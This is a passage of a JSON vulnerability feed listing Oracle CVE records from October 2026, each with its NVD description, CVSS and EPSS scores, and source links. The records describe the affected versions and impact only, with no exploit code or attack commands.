fixes.","publishedAt":"2026-10-20T22:20:58.320Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91550","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00362,"percentile":0.29789,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91550&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91550","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91550","type":"primary","publishedAt":"2026-10-20T22:20:58.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91550&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91550, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91549","cveId":"CVE-2026-91549","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).","summary":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).  Supported versions that are affected are 8.2.0.0.0 and  12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).  Supported versions that are affected are 8.2.0.0.0 and  12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:58.200Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91549","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00159,"percentile":0.05001,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91549&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91549","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91549","type":"primary","publishedAt":"2026-10-20T22:20:58.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91549&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91549, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91546","cveId":"CVE-2026-91546","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Foundation).","summary":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Foundation).   The supported version that is affected is 12.2.1.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Foundation).   The supported version that is affected is 12.2.1.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:57.970Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91546","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00294,"percentile":0.21787,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91546&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91546","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91546","type":"primary","publishedAt":"2026-10-20T22:20:57.970Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91546&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91546, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91545","cveId":"CVE-2026-91545","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security).","summary":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security).  Supported versions that are affected are 8.2.0.0.0 and  12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security).  Supported versions that are affected are 8.2.0.0.0 and  12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:57.860Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91545","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00159,"percentile":0.05001,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91545&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91545","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91545","type":"primary","publishedAt":"2026-10-20T22:20:57.860Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91545&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91545, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91542","cveId":"CVE-2026-91542","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).","summary":"Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:57.753Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91542","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00409,"percentile":0.34896,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91542&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91542","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91542","type":"primary","publishedAt":"2026-10-20T22:20:57.753Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91542&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91542, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91539","cveId":"CVE-2026-91539","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Presentation Services).","summary":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Presentation Services).   The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Presentation Services).   The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:57.523Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91539","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00151,"percentile":0.04211,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91539&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91539","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91539","type":"primary","publishedAt":"2026-10-20T22:20:57.523Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91539&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91539, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91537","cveId":"CVE-2026-91537","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).","summary":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:57.417Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91537","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00118,"percentile":0.0171,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91537&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91537","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91537","type":"primary","publishedAt":"2026-10-20T22:20:57.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91537&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91537, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91535","cveId":"CVE-2026-91535","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Search).","summary":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Search).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Search).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:57.183Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91535","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00329,"percentile":0.25769,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91535&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91535","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91535","type":"primary","publishedAt":"2026-10-20T22:20:57.183Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91535&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91535, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91534","cveId":"CVE-2026-91534","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web General).","summary":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web General).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Business Intelligence Enterprise Edition as well as  unauthorized update, insert or delete access to some of Oracle Business Intelligence Enterprise Edition accessible data and  unauthorized read access to a subset of Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H).","detail":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web General).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Business Intelligence Enterprise Edition as well as  unauthorized update, insert or delete access to some of Oracle Business Intelligence Enterprise Edition accessible data and  unauthorized read access to a subset of Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:57.063Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91534","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00256,"percentile":0.17064,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91534&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91534","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91534","type":"primary","publishedAt":"2026-10-20T22:20:57.063Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91534&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91534, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91532","cveId":"CVE-2026-91532","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Applications Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Applications Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 